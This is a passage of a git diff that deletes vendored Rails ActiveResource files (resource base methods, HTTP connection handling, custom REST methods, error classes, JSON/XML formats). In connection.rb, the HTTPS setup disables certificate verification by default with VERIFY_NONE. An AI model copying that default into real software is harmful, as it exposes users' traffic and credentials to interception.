-      cloned = attributes.reject {|k,v| k == self.class.primary_key || v.is_a?(ActiveResource::Base)}.inject({}) do |attrs, (k, v)|
-        attrs[k] = v.clone
-        attrs
-      end
-      # Form the new resource - bypass initialize of resource with 'new' as that will call 'load' which
-      # attempts to convert hashes into member objects and arrays into collections of objects.  We want
-      # the raw objects to be cloned so we bypass load by directly setting the attributes hash.
-      resource = self.class.new({})
-      resource.prefix_options = self.prefix_options
-      resource.send :instance_variable_set, '@attributes', cloned
-      resource
-    end
-
-
-    # A method to determine if the resource a \new object (i.e., it has not been POSTed to the remote service yet).
-    #
-    # ==== Examples
-    #   not_new = Computer.create(:brand => 'Apple', :make => 'MacBook', :vendor => 'MacMall')
-    #   not_new.new? # => false
-    #
-    #   is_new = Computer.new(:brand => 'IBM', :make => 'Thinkpad', :vendor => 'IBM')
-    #   is_new.new? # => true
-    #
-    #   is_new.save
-    #   is_new.new? # => false
-    #
-    def new?
-      id.nil?
-    end
-    alias :new_record? :new?
-
-    # Gets the <tt>\id</tt> attribute of the resource.
-    def id
-      attributes[self.class.primary_key]
-    end
-
-    # Sets the <tt>\id</tt> attribute of the resource.
-    def id=(id)
-      attributes[self.class.primary_key] = id
-    end
-
-    # Allows Active Resource objects to be used as parameters in Action Pack URL generation.
-    def to_param
-      id && id.to_s
-    end
-
-    # Test for equality.  Resource are equal if and only if +other+ is the same object or
-    # is an instance of the same class, is not <tt>new?</tt>, and has the same +id+.
-    #
-    # ==== Examples
-    #   ryan = Person.create(:name => 'Ryan')
-    #   jamie = Person.create(:name => 'Jamie')
-    #
-    #   ryan == jamie
-    #   # => false (Different name attribute and id)
-    #
-    #   ryan_again = Person.new(:name => 'Ryan')
-    #   ryan == ryan_again
-    #   # => false (ryan_again is new?)
-    #
-    #   ryans_clone = Person.create(:name => 'Ryan')
-    #   ryan == ryans_clone
-    #   # => false (Different id attributes)
-    #
-    #   ryans_twin = Person.find(ryan.id)
-    #   ryan == ryans_twin
-    #   # => true
-    #
-    def ==(other)
-      other.equal?(self) || (other.instance_of?(self.class) && other.id == id && other.prefix_options == prefix_options)
-    end
-
-    # Tests for equality (delegates to ==).
-    def eql?(other)
-      self == other
-    end
-
-    # Delegates to id in order to allow two resources of the same type and \id to work with something like:
-    #   [Person.find(1), Person.find(2)] & [Person.find(1), Person.find(4)] # => [Person.find(1)]
-    def hash
-      id.hash
-    end
-
-    # Duplicate the current resource without saving it.
-    #
-    # ==== Examples
-    #   my_invoice = Invoice.create(:customer => 'That Company')
-    #   next_invoice = my_invoice.dup
-    #   next_invoice.new? # => true
-    #
-    #   next_invoice.save
-    #   next_invoice == my_invoice # => false (different id attributes)
-    #
-    #   my_invoice.customer   # => That Company
-    #   next_invoice.customer # => That Company
-    def dup
-      self.class.new.tap do |resource|
-        resource.attributes     = @attributes
-        resource.prefix_options = @prefix_options
-      end
-    end
-
-    # A method to \save (+POST+) or \update (+PUT+) a resource.  It delegates to +create+ if a \new object, 
-    # +update+ if it is existing. If the response to the \save includes a body, it will be assumed that this body
-    # is XML for the final object as it looked after the \save (which would include attributes like +created_at+
-    # that weren't part of the original submit).
-    #
-    # ==== Examples
-    #   my_company = Company.new(:name => 'RoleModel Software', :owner => 'Ken Auer', :size => 2)
-    #   my_company.new? # => true
-    #   my_company.save # sends POST /companies/ (create)
-    #
-    #   my_company.new? # => false
-    #   my_company.size = 10
-    #   my_company.save # sends PUT /companies/1 (update)
-    def save
-      new? ? create : update
-    end
-
-    # Deletes the resource from the remote service.
-    #
-    # ==== Examples
-    #   my_id = 3
-    #   my_person = Person.find(my_id)
-    #   my_person.destroy
-    #   Person.find(my_id) # 404 (Resource Not Found)
-    #
-    #   new_person = Person.create(:name => 'James')
-    #   new_id = new_person.id # => 7
-    #   new_person.destroy
-    #   Person.find(new_id) # 404 (Resource Not Found)
-    def destroy
-      connection.delete(element_path, self.class.headers)
-    end
-
-    # Evaluates to <tt>true</tt> if this resource is not <tt>new?</tt> and is
-    # found on the remote service.  Using this method, you can check for
-    # resources that may have been deleted between the object's instantiation
-    # and actions on it.
-    #
-    # ==== Examples
-    #   Person.create(:name => 'Theodore Roosevelt')
-    #   that_guy = Person.find(:first)
-    #   that_guy.exists? # => true
-    #
-    #   that_lady = Person.new(:name => 'Paul Bean')
-    #   that_lady.exists? # => false
-    #
-    #   guys_id = that_guy.id
-    #   Person.delete(guys_id)
-    #   that_guy.exists? # => false
-    def exists?
-      !new? && self.class.exists?(to_param, :params => prefix_options)
-    end
-
-     # Converts the resource to an XML string representation.
-    #
-    # ==== Options
-    # The +options+ parameter is handed off to the +to_xml+ method on each
-    # attribute, so it has the same options as the +to_xml+ methods in
-    # Active Support.
-    #
-    # * <tt>:indent</tt> - Set the indent level for the XML output (default is +2+).
-    # * <tt>:dasherize</tt> - Boolean option to determine whether or not element names should
-    #   replace underscores with dashes. Default is <tt>true</tt>. The default can be set to <tt>false</tt>
-    #   by setting the module attribute <tt>ActiveSupport.dasherize_xml = false</tt> in an initializer. Because save
-    #   uses this method, and there are no options on save, then you will have to set the default if you don't
-    #   want underscores in element names to become dashes when the resource is saved. This is important when
-    #   integrating with non-Rails applications.
-    # * <tt>:camelize</tt> - Boolean option to determine whether or not element names should be converted
-    #   to camel case, e.g some_name to SomeName. Default is <tt>false</tt>. Like <tt>:dasherize</tt> you can
-    #   change the default by setting the module attribute <tt>ActiveSupport.camelise_xml = true</tt> in an initializer.
-    # * <tt>:skip_instruct</tt> - Toggle skipping the +instruct!+ call on the XML builder
-    #   that generates the XML declaration (default is <tt>false</tt>).
-    #
-    # ==== Examples
-    #   my_group = SubsidiaryGroup.find(:first)
-    #   my_group.to_xml
-    #   # => <?xml version="1.0" encoding="UTF-8"?>
-    #   #    <subsidiary_group> [...] </subsidiary_group>
-    #
-    #   my_group.to_xml(:dasherize => true)
-    #   # => <?xml version="1.0" encoding="UTF-8"?>
-    #   #    <subsidiary-group> [...] </subsidiary-group>
-    #
-    #   my_group.to_xml(:skip_instruct => true)
-    #   # => <subsidiary_group> [...] </subsidiary_group>
-    def to_xml(options={})
-      attributes.to_xml({:root => self.class.element_name}.merge(options))
-    end
-
-    # Coerces to a hash for JSON encoding.
-    #
-    # ==== Options
-    # The +options+ are passed to the +to_json+ method on each
-    # attribute, so the same options as the +to_json+ methods in
-    # Active Support.
-    #
-    # * <tt>:only</tt> - Only include the specified attribute or list of
-    #   attributes in the serialized output. Attribute names must be specified
-    #   as strings.
-    # * <tt>:except</tt> - Do not include the specified attribute or list of
-    #   attributes in the serialized output. Attribute names must be specified
-    #   as strings.
-    #
-    # ==== Examples
-    #   person = Person.new(:first_name => "Jim", :last_name => "Smith")
-    #   person.to_json
-    #   # => {"first_name": "Jim", "last_name": "Smith"}
-    #
-    #   person.to_json(:only => ["first_name"])
-    #   # => {"first_name": "Jim"}
-    #
-    #   person.to_json(:except => ["first_name"])
-    #   # => {"last_name": "Smith"}
-    def as_json(options = nil)
-      attributes.as_json(options)
-    end
-
-    # Returns the serialized string representation of the resource in the configured
-    # serialization format specified in ActiveResource::Base.format. The options
-    # applicable depend on the configured encoding format.
-    def encode(options={})
-      case self.class.format
-        when ActiveResource::Formats[:xml]
-          self.class.format.encode(attributes, {:root => self.class.element_name}.merge(options))
-        when ActiveResource::Formats::JsonFormat
-          if ActiveResource::Base.include_root_in_json
-            self.class.format.encode({self.class.element_name => attributes}, options)
-          else
-            self.class.format.encode(attributes, options)
-          end
-        else
-          self.class.format.encode(attributes, options)
-      end
-    end
-
-    # A method to \reload the attributes of this object from the remote web service.
-    #
-    # ==== Examples
-    #   my_branch = Branch.find(:first)
-    #   my_branch.name # => "Wislon Raod"
-    #
-    #   # Another client fixes the typo...
-    #
-    #   my_branch.name # => "Wislon Raod"
-    #   my_branch.reload
-    #   my_branch.name # => "Wilson Road"
-    def reload
-      self.load(self.class.find(to_param, :params => @prefix_options).attributes)
-    end
-
-    # A method to manually load attributes from a \hash. Recursively loads collections of
-    # resources.  This method is called in +initialize+ and +create+ when a \hash of attributes
-    # is provided.
-    #
-    # ==== Examples
-    #   my_attrs = {:name => 'J&J Textiles', :industry => 'Cloth and textiles'}
-    #   my_attrs = {:name => 'Marty', :colors => ["red", "green", "blue"]}
-    #
-    #   the_supplier = Supplier.find(:first)
-    #   the_supplier.name # => 'J&M Textiles'
-    #   the_supplier.load(my_attrs)
-    #   the_supplier.name('J&J Textiles')
-    #
-    #   # These two calls are the same as Supplier.new(my_attrs)
-    #   my_supplier = Supplier.new
-    #   my_supplier.load(my_attrs)
-    #
-    #   # These three calls are the same as Supplier.create(my_attrs)
-    #   your_supplier = Supplier.new
-    #   your_supplier.load(my_attrs)
-    #   your_supplier.save
-    def load(attributes)
-      raise ArgumentError, "expected an attributes Hash, got #{attributes.inspect}" unless attributes.is_a?(Hash)
-      @prefix_options, attributes = split_options(attributes)
-      attributes.each do |key, value|
-        @attributes[key.to_s] =
-          case value
-            when Array
-              resource = find_or_create_resource_for_collection(key)
-              value.map do |attrs|
-                if attrs.is_a?(String) || attrs.is_a?(Numeric)
-                  attrs.duplicable? ? attrs.dup : attrs
-                else
-                  resource.new(attrs)
-                end
-              end
-            when Hash
-              resource = find_or_create_resource_for(key)
-              resource.new(value)
-            else
-              value.dup rescue value
-          end
-      end
-      self
-    end
-
-    # For checking <tt>respond_to?</tt> without searching the attributes (which is faster).
-    alias_method :respond_to_without_attributes?, :respond_to?
-
-    # A method to determine if an object responds to a message (e.g., a method call). In Active Resource, a Person object with a
-    # +name+ attribute can answer <tt>true</tt> to <tt>my_person.respond_to?(:name)</tt>, <tt>my_person.respond_to?(:name=)</tt>, and
-    # <tt>my_person.respond_to?(:name?)</tt>.
-    def respond_to?(method, include_priv = false)
-      method_name = method.to_s
-      if attributes.nil?
-        return super
-      elsif attributes.has_key?(method_name)
-        return true
-      elsif ['?','='].include?(method_name.last) && attributes.has_key?(method_name.first(-1))
-        return true
-      end
-      # super must be called at the end of the method, because the inherited respond_to?
-      # would return true for generated readers, even if the attribute wasn't present
-      super
-    end
-
-
-    protected
-      def connection(refresh = false)
-        self.class.connection(refresh)
-      end
-
-      # Update the resource on the remote service.
-      def update
-        connection.put(element_path(prefix_options), encode, self.class.headers).tap do |response|
-          load_attributes_from_response(response)
-        end
-      end
-
-      # Create (i.e., \save to the remote service) the \new resource.
-      def create
-        connection.post(collection_path, encode, self.class.headers).tap do |response|
-          self.id = id_from_response(response)
-          load_attributes_from_response(response)
-        end
-      end
-
-      def load_attributes_from_response(response)
-        if response['Content-Length'] != "0" && response.body.strip.size > 0
-          load(self.class.format.decode(response.body))
-        end
-      end
-
-      # Takes a response from a typical create post and pulls the ID out
-      def id_from_response(response)
-        response['Location'][/\/([^\/]*?)(\.\w+)?$/, 1] if response['Location']
-      end
-
-      def element_path(options = nil)
-        self.class.element_path(to_param, options || prefix_options)
-      end
-
-      def collection_path(options = nil)
-        self.class.collection_path(options || prefix_options)
-      end
-
-    private
-      # Tries to find a resource for a given collection name; if it fails, then the resource is created
-      def find_or_create_resource_for_collection(name)
-        find_or_create_resource_for(name.to_s.singularize)
-      end
-
-      # Tries to find a resource in a non empty list of nested modules
-      # Raises a NameError if it was not found in any of the given nested modules
-      def find_resource_in_modules(resource_name, module_names)
-        receiver = Object
-        namespaces = module_names[0, module_names.size-1].map do |module_name|
-          receiver = receiver.const_get(module_name)
-        end
-        if namespace = namespaces.reverse.detect { |ns| ns.const_defined?(resource_name) }
-          return namespace.const_get(resource_name)
-        else
-          raise NameError
-        end
-      end
-
-      # Tries to find a resource for a given name; if it fails, then the resource is created
-      def find_or_create_resource_for(name)
-        resource_name = name.to_s.camelize
-        ancestors = self.class.name.split("::")
-        if ancestors.size > 1
-          find_resource_in_modules(resource_name, ancestors)
-        else
-          self.class.const_get(resource_name)
-        end
-      rescue NameError
-        if self.class.const_defined?(resource_name)
-          resource = self.class.const_get(resource_name)
-        else
-          resource = self.class.const_set(resource_name, Class.new(ActiveResource::Base))
-        end
-        resource.prefix = self.class.prefix
-        resource.site   = self.class.site
-        resource
-      end
-
-      def split_options(options = {})
-        self.class.__send__(:split_options, options)
-      end
-
-      def method_missing(method_symbol, *arguments) #:nodoc:
-        method_name = method_symbol.to_s
-
-        case method_name.last
-          when "="
-            attributes[method_name.first(-1)] = arguments.first
-          when "?"
-            attributes[method_name.first(-1)]
-          else
-            attributes.has_key?(method_name) ? attributes[method_name] : super
-        end
-      end
-  end
-end
diff --git a/vendor/rails/activeresource/lib/active_resource/connection.rb b/vendor/rails/activeresource/lib/active_resource/connection.rb
deleted file mode 100644
index 768b8c99..00000000
--- a/vendor/rails/activeresource/lib/active_resource/connection.rb
+++ /dev/null
@@ -1,283 +0,0 @@
-require 'net/https'
-require 'date'
-require 'time'
-require 'uri'
-require 'benchmark'
-
-module ActiveResource
-  class ConnectionError < StandardError # :nodoc:
-    attr_reader :response
-
-    def initialize(response, message = nil)
-      @response = response
-      @message  = message
-    end
-
-    def to_s
-      "Failed with #{response.code} #{response.message if response.respond_to?(:message)}"
-    end
-  end
-
-  # Raised when a Timeout::Error occurs.
-  class TimeoutError < ConnectionError
-    def initialize(message)
-      @message = message
-    end
-    def to_s; @message ;end
-  end
-
-  # Raised when a OpenSSL::SSL::SSLError occurs.
-  class SSLError < ConnectionError
-    def initialize(message)
-      @message = message
-    end
-    def to_s; @message ;end
-  end
-
-  # 3xx Redirection
-  class Redirection < ConnectionError # :nodoc:
-    def to_s; response['Location'] ? "#{super} => #{response['Location']}" : super; end
-  end
-
-  # 4xx Client Error
-  class ClientError < ConnectionError; end # :nodoc:
-
-  # 400 Bad Request
-  class BadRequest < ClientError; end # :nodoc
-
-  # 401 Unauthorized
-  class UnauthorizedAccess < ClientError; end # :nodoc
-
-  # 403 Forbidden
-  class ForbiddenAccess < ClientError; end # :nodoc
-
-  # 404 Not Found
-  class ResourceNotFound < ClientError; end # :nodoc:
-
-  # 409 Conflict
-  class ResourceConflict < ClientError; end # :nodoc:
-
-  # 410 Gone
-  class ResourceGone < ClientError; end # :nodoc:
-
-  # 5xx Server Error
-  class ServerError < ConnectionError; end # :nodoc:
-
-  # 405 Method Not Allowed
-  class MethodNotAllowed < ClientError # :nodoc:
-    def allowed_methods
-      @response['Allow'].split(',').map { |verb| verb.strip.downcase.to_sym }
-    end
-  end
-
-  # Class to handle connections to remote web services.
-  # This class is used by ActiveResource::Base to interface with REST
-  # services.
-  class Connection
-
-    HTTP_FORMAT_HEADER_NAMES = {  :get => 'Accept',
-      :put => 'Content-Type',
-      :post => 'Content-Type',
-      :delete => 'Accept',
-      :head => 'Accept'
-    }
-
-    attr_reader :site, :user, :password, :timeout, :proxy, :ssl_options
-    attr_accessor :format
-
-    class << self
-      def requests
-        @@requests ||= []
-      end
-    end
-
-    # The +site+ parameter is required and will set the +site+
-    # attribute to the URI for the remote resource service.
-    def initialize(site, format = ActiveResource::Formats[:xml])
-      raise ArgumentError, 'Missing site URI' unless site
-      @user = @password = nil
-      self.site = site
-      self.format = format
-    end
-
-    # Set URI for remote service.
-    def site=(site)
-      @site = site.is_a?(URI) ? site : URI.parse(site)
-      @user = URI.decode(@site.user) if @site.user
-      @password = URI.decode(@site.password) if @site.password
-    end
-
-    # Set the proxy for remote service.
-    def proxy=(proxy)
-      @proxy = proxy.is_a?(URI) ? proxy : URI.parse(proxy)
-    end
-
-    # Set the user for remote service.
-    def user=(user)
-      @user = user
-    end
-
-    # Set password for remote service.
-    def password=(password)
-      @password = password
-    end
-
-    # Set the number of seconds after which HTTP requests to the remote service should time out.
-    def timeout=(timeout)
-      @timeout = timeout
-    end
-
-    # Hash of options applied to Net::HTTP instance when +site+ protocol is 'https'.
-    def ssl_options=(opts={})
-      @ssl_options = opts
-    end
-
-    # Execute a GET request.
-    # Used to get (find) resources.
-    def get(path, headers = {})
-      format.decode(request(:get, path, build_request_headers(headers, :get)).body)
-    end
-
-    # Execute a DELETE request (see HTTP protocol documentation if unfamiliar).
-    # Used to delete resources.
-    def delete(path, headers = {})
-      request(:delete, path, build_request_headers(headers, :delete))
-    end
-
-    # Execute a PUT request (see HTTP protocol documentation if unfamiliar).
-    # Used to update resources.
-    def put(path, body = '', headers = {})
-      request(:put, path, body.to_s, build_request_headers(headers, :put))
-    end
-
-    # Execute a POST request.
-    # Used to create new resources.
-    def post(path, body = '', headers = {})
-      request(:post, path, body.to_s, build_request_headers(headers, :post))
-    end
-
-    # Execute a HEAD request.
-    # Used to obtain meta-information about resources, such as whether they exist and their size (via response headers).
-    def head(path, headers = {})
-      request(:head, path, build_request_headers(headers, :head))
-    end
-
-
-    private
-      # Makes request to remote service.
-      def request(method, path, *arguments)
-        logger.info "#{method.to_s.upcase} #{site.scheme}://#{site.host}:#{site.port}#{path}" if logger
-        result = nil
-        ms = Benchmark.ms { result = http.send(method, path, *arguments) }
-        logger.info "--> %d %s (%d %.0fms)" % [result.code, result.message, result.body ? result.body.length : 0, ms] if logger
-        handle_response(result)
-      rescue Timeout::Error => e
-        raise TimeoutError.new(e.message)
-      rescue OpenSSL::SSL::SSLError => e
-        raise SSLError.new(e.message)
-      end
-
-      # Handles response and error codes from remote service.
-      def handle_response(response)
-        case response.code.to_i
-          when 301,302
-            raise(Redirection.new(response))
-          when 200...400
-            response
-          when 400
-            raise(BadRequest.new(response))
-          when 401
-            raise(UnauthorizedAccess.new(response))
-          when 403
-            raise(ForbiddenAccess.new(response))
-          when 404
-            raise(ResourceNotFound.new(response))
-          when 405
-            raise(MethodNotAllowed.new(response))
-          when 409
-            raise(ResourceConflict.new(response))
-          when 410
-            raise(ResourceGone.new(response))
-          when 422
-            raise(ResourceInvalid.new(response))
-          when 401...500
-            raise(ClientError.new(response))
-          when 500...600
-            raise(ServerError.new(response))
-          else
-            raise(ConnectionError.new(response, "Unknown response code: #{response.code}"))
-        end
-      end
-
-      # Creates new Net::HTTP instance for communication with
-      # remote service and resources.
-      def http
-        configure_http(new_http)
-      end
-
-      def new_http
-        if @proxy
-          Net::HTTP.new(@site.host, @site.port, @proxy.host, @proxy.port, @proxy.user, @proxy.password)
-        else
-          Net::HTTP.new(@site.host, @site.port)
-        end
-      end
-
-      def configure_http(http)
-        http = apply_ssl_options(http)
-
-        # Net::HTTP timeouts default to 60 seconds.
-        if @timeout
-          http.open_timeout = @timeout
-          http.read_timeout = @timeout
-        end
-
-        http
-      end
-
-      def apply_ssl_options(http)
-        return http unless @site.is_a?(URI::HTTPS)
-
-        http.use_ssl     = true
-        http.verify_mode = OpenSSL::SSL::VERIFY_NONE
-        return http unless defined?(@ssl_options)
-
-        http.ca_path     = @ssl_options[:ca_path] if @ssl_options[:ca_path]
-        http.ca_file     = @ssl_options[:ca_file] if @ssl_options[:ca_file]
-
-        http.cert        = @ssl_options[:cert] if @ssl_options[:cert]
-        http.key         = @ssl_options[:key]  if @ssl_options[:key]
-
-        http.cert_store  = @ssl_options[:cert_store]  if @ssl_options[:cert_store]
-        http.ssl_timeout = @ssl_options[:ssl_timeout] if @ssl_options[:ssl_timeout]
-
-        http.verify_mode     = @ssl_options[:verify_mode]     if @ssl_options[:verify_mode]
-        http.verify_callback = @ssl_options[:verify_callback] if @ssl_options[:verify_callback]
-        http.verify_depth    = @ssl_options[:verify_depth]    if @ssl_options[:verify_depth]
-
-        http
-      end
-
-      def default_header
-        @default_header ||= {}
-      end
-
-      # Builds headers for request to remote service.
-      def build_request_headers(headers, http_method=nil)
-        authorization_header.update(default_header).update(http_format_header(http_method)).update(headers)
-      end
-
-      # Sets authorization header
-      def authorization_header
-        (@user || @password ? { 'Authorization' => 'Basic ' + ["#{@user}:#{ @password}"].pack('m').delete("\r\n") } : {})
-      end
-
-      def http_format_header(http_method)
-        {HTTP_FORMAT_HEADER_NAMES[http_method] => format.mime_type}
-      end
-
-      def logger #:nodoc:
-        Base.logger
-      end
-  end
-end
diff --git a/vendor/rails/activeresource/lib/active_resource/custom_methods.rb b/vendor/rails/activeresource/lib/active_resource/custom_methods.rb
deleted file mode 100644
index 4647e834..00000000
--- a/vendor/rails/activeresource/lib/active_resource/custom_methods.rb
+++ /dev/null
@@ -1,120 +0,0 @@
-module ActiveResource
-  # A module to support custom REST methods and sub-resources, allowing you to break out
-  # of the "default" REST methods with your own custom resource requests.  For example,
-  # say you use Rails to expose a REST service and configure your routes with:
-  #
-  #    map.resources :people, :new => { :register => :post },
-  #                           :member => { :promote => :put, :deactivate => :delete }
-  #                           :collection => { :active => :get }
-  #
-  #  This route set creates routes for the following HTTP requests:
-  #
-  #    POST    /people/new/register.xml # PeopleController.register
-  #    PUT     /people/1/promote.xml    # PeopleController.promote with :id => 1
-  #    DELETE  /people/1/deactivate.xml # PeopleController.deactivate with :id => 1
-  #    GET     /people/active.xml       # PeopleController.active
-  #
-  # Using this module, Active Resource can use these custom REST methods just like the
-  # standard methods.
-  #
-  #   class Person < ActiveResource::Base
-  #     self.site = "http://37s.sunrise.i:3000"
-  #   end
-  #
-  #   Person.new(:name => 'Ryan).post(:register)  # POST /people/new/register.xml
-  #   # => { :id => 1, :name => 'Ryan' }
-  #
-  #   Person.find(1).put(:promote, :position => 'Manager') # PUT /people/1/promote.xml
-  #   Person.find(1).delete(:deactivate) # DELETE /people/1/deactivate.xml
-  #
-  #   Person.get(:active)  # GET /people/active.xml
-  #   # => [{:id => 1, :name => 'Ryan'}, {:id => 2, :name => 'Joe'}]
-  #
-  module CustomMethods
-    def self.included(base)
-      base.class_eval do
-        extend ActiveResource::CustomMethods::ClassMethods
-        include ActiveResource::CustomMethods::InstanceMethods
-
-        class << self
-          alias :orig_delete :delete
-
-          # Invokes a GET to a given custom REST method. For example:
-          #
-          #   Person.get(:active)  # GET /people/active.xml
-          #   # => [{:id => 1, :name => 'Ryan'}, {:id => 2, :name => 'Joe'}]
-          #
-          #   Person.get(:active, :awesome => true)  # GET /people/active.xml?awesome=true
-          #   # => [{:id => 1, :name => 'Ryan'}]
-          #
-          # Note: the objects returned from this method are not automatically converted
-          # into ActiveResource::Base instances - they are ordinary Hashes. If you are expecting
-          # ActiveResource::Base instances, use the <tt>find</tt> class method with the
-          # <tt>:from</tt> option. For example:
-          #
-          #   Person.find(:all, :from => :active)
-          def get(custom_method_name, options = {})
-            connection.get(custom_method_collection_url(custom_method_name, options), headers)
-          end
-
-          def post(custom_method_name, options = {}, body = '')
-            connection.post(custom_method_collection_url(custom_method_name, options), body, headers)
-          end
-
-          def put(custom_method_name, options = {}, body = '')
-            connection.put(custom_method_collection_url(custom_method_name, options), body, headers)
-          end
-
-          def delete(custom_method_name, options = {})
-            # Need to jump through some hoops to retain the original class 'delete' method
-            if custom_method_name.is_a?(Symbol)
-              connection.delete(custom_method_collection_url(custom_method_name, options), headers)
-            else
-              orig_delete(custom_method_name, options)
-            end
-          end
-        end
-      end
-    end
-
-    module ClassMethods
-      def custom_method_collection_url(method_name, options = {})
-        prefix_options, query_options = split_options(options)
-        "#{prefix(prefix_options)}#{collection_name}/#{method_name}.#{format.extension}#{query_string(query_options)}"
-      end
-    end
-
-    module InstanceMethods
-      def get(method_name, options = {})
-        connection.get(custom_method_element_url(method_name, options), self.class.headers)
-      end
-
-      def post(method_name, options = {}, body = nil)
-        request_body = body.blank? ? encode : body
-        if new?
-          connection.post(custom_method_new_element_url(method_name, options), request_body, self.class.headers)
-        else
-          connection.post(custom_method_element_url(method_name, options), request_body, self.class.headers)
-        end
-      end
-
-      def put(method_name, options = {}, body = '')
-        connection.put(custom_method_element_url(method_name, options), body, self.class.headers)
-      end
-
-      def delete(method_name, options = {})
-        connection.delete(custom_method_element_url(method_name, options), self.class.headers)
-      end
-
-
-      private
-        def custom_method_element_url(method_name, options = {})
-          "#{self.class.prefix(prefix_options)}#{self.class.collection_name}/#{id}/#{method_name}.#{self.class.format.extension}#{self.class.__send__(:query_string, options)}"
-        end
-
-        def custom_method_new_element_url(method_name, options = {})
-          "#{self.class.prefix(prefix_options)}#{self.class.collection_name}/new/#{method_name}.#{self.class.format.extension}#{self.class.__send__(:query_string, options)}"
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activeresource/lib/active_resource/exceptions.rb b/vendor/rails/activeresource/lib/active_resource/exceptions.rb
deleted file mode 100644
index 0631cdcf..00000000
--- a/vendor/rails/activeresource/lib/active_resource/exceptions.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-module ActiveResource
-  class ConnectionError < StandardError # :nodoc:
-    attr_reader :response
-
-    def initialize(response, message = nil)
-      @response = response
-      @message  = message
-    end
-
-    def to_s
-      "Failed with #{response.code} #{response.message if response.respond_to?(:message)}"
-    end
-  end
-
-  # Raised when a Timeout::Error occurs.
-  class TimeoutError < ConnectionError
-    def initialize(message)
-      @message = message
-    end
-    def to_s; @message ;end
-  end
-
-  # Raised when a OpenSSL::SSL::SSLError occurs.
-  class SSLError < ConnectionError
-    def initialize(message)
-      @message = message
-    end
-    def to_s; @message ;end
-  end
-
-  # 3xx Redirection
-  class Redirection < ConnectionError # :nodoc:
-    def to_s; response['Location'] ? "#{super} => #{response['Location']}" : super; end
-  end
-
-  # 4xx Client Error
-  class ClientError < ConnectionError; end # :nodoc:
-
-  # 400 Bad Request
-  class BadRequest < ClientError; end # :nodoc
-
-  # 401 Unauthorized
-  class UnauthorizedAccess < ClientError; end # :nodoc
-
-  # 403 Forbidden
-  class ForbiddenAccess < ClientError; end # :nodoc
-
-  # 404 Not Found
-  class ResourceNotFound < ClientError; end # :nodoc:
-
-  # 409 Conflict
-  class ResourceConflict < ClientError; end # :nodoc:
-
-  # 410 Gone
-  class ResourceGone < ClientError; end # :nodoc:
-
-  # 5xx Server Error
-  class ServerError < ConnectionError; end # :nodoc:
-
-  # 405 Method Not Allowed
-  class MethodNotAllowed < ClientError # :nodoc:
-    def allowed_methods
-      @response['Allow'].split(',').map { |verb| verb.strip.downcase.to_sym }
-    end
-  end
-end
diff --git a/vendor/rails/activeresource/lib/active_resource/formats.rb b/vendor/rails/activeresource/lib/active_resource/formats.rb
deleted file mode 100644
index 28864cf5..00000000
--- a/vendor/rails/activeresource/lib/active_resource/formats.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-module ActiveResource
-  module Formats
-    # Lookup the format class from a mime type reference symbol. Example:
-    #
-    #   ActiveResource::Formats[:xml]  # => ActiveResource::Formats::XmlFormat
-    #   ActiveResource::Formats[:json] # => ActiveResource::Formats::JsonFormat
-    def self.[](mime_type_reference)
-      ActiveResource::Formats.const_get(mime_type_reference.to_s.camelize + "Format")
-    end
-  end
-end
-
-require 'active_resource/formats/xml_format'
-require 'active_resource/formats/json_format'
\ No newline at end of file
diff --git a/vendor/rails/activeresource/lib/active_resource/formats/json_format.rb b/vendor/rails/activeresource/lib/active_resource/formats/json_format.rb
deleted file mode 100644
index 127e8288..00000000
--- a/vendor/rails/activeresource/lib/active_resource/formats/json_format.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-module ActiveResource
-  module Formats
-    module JsonFormat
-      extend self
-
-      def extension
-        "json"
-      end
-
-      def mime_type
-        "application/json"
-      end
-
-      def encode(hash, options = nil)
-        ActiveSupport::JSON.encode(hash, options)
-      end
-
-      def decode(json)
-        ActiveSupport::JSON.decode(json)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activeresource/lib/active_resource/formats/xml_format.rb b/vendor/rails/activeresource/lib/active_resource/formats/xml_format.rb
deleted file mode 100644
index 86c6cec7..00000000
--- a/vendor/rails/activeresource/lib/active_resource/formats/xml_format.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-module ActiveResource
-  module Formats
-    module XmlFormat
-      extend self
-
-      def extension
-        "xml"
-      end
-
-      def mime_type
-        "application/xml"
-      end
-
-      def encode(hash, options={})
-        hash.to_xml(options)
-      end
-
-      def decode(xml)
-        from_xml_data(Hash.from_xml(xml))
-      end
-
-      private
-        # Manipulate from_xml Hash, because xml_simple is not exactly what we
-        # want for Active Resource.
-        def from_xml_data(data)
-          if data.is_a?(Hash) && data.keys.size == 1
-            data.values.first
-          else
-            data
-          end
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activeresource/lib/active_resource/http_mock.rb b/vendor/rails/activeresource/lib/active_resource/http_mock.rb
deleted file mode 100644
index e6a595fb..00000000
--- a/vendor/rails/activeresource/lib/active_resource/http_mock.rb
+++ /dev/null
@@ -1,302 +0,0 @@
-require 'active_resource/connection'
-
-module ActiveResource
-  class InvalidRequestError < StandardError; end #:nodoc:
-
-  # One thing that has always been a pain with remote web services is testing.  The HttpMock
-  # class makes it easy to test your Active Resource models by creating a set of mock responses to specific
-  # requests.
-  #
-  # To test your Active Resource model, you simply call the ActiveResource::HttpMock.respond_to
-  # method with an attached block.  The block declares a set of URIs with expected input, and the output
-  # each request should return.  The passed in block has any number of entries in the following generalized
-  # format:
-  #
-  #   mock.http_method(path, request_headers = {}, body = nil, status = 200, response_headers = {})
-  #
-  # * <tt>http_method</tt> - The HTTP method to listen for.  This can be +get+, +post+, +put+, +delete+ or
-  #   +head+.
-  # * <tt>path</tt> - A string, starting with a "/", defining the URI that is expected to be
-  #   called.
-  # * <tt>request_headers</tt> - Headers that are expected along with the request.  This argument uses a
-  #   hash format, such as <tt>{ "Content-Type" => "application/xml" }</tt>.  This mock will only trigger
-  #   if your tests sends a request with identical headers.
-  # * <tt>body</tt> - The data to be returned.  This should be a string of Active Resource parseable content,
-  #   such as XML.
-  # * <tt>status</tt> - The HTTP response code, as an integer, to return with the response.
-  # * <tt>response_headers</tt> - Headers to be returned with the response.  Uses the same hash format as
-  #   <tt>request_headers</tt> listed above.
-  #
-  # In order for a mock to deliver its content, the incoming request must match by the <tt>http_method</tt>,
-  # +path+ and <tt>request_headers</tt>.  If no match is found an InvalidRequestError exception
-  # will be raised showing you what request it could not find a response for and also what requests and response
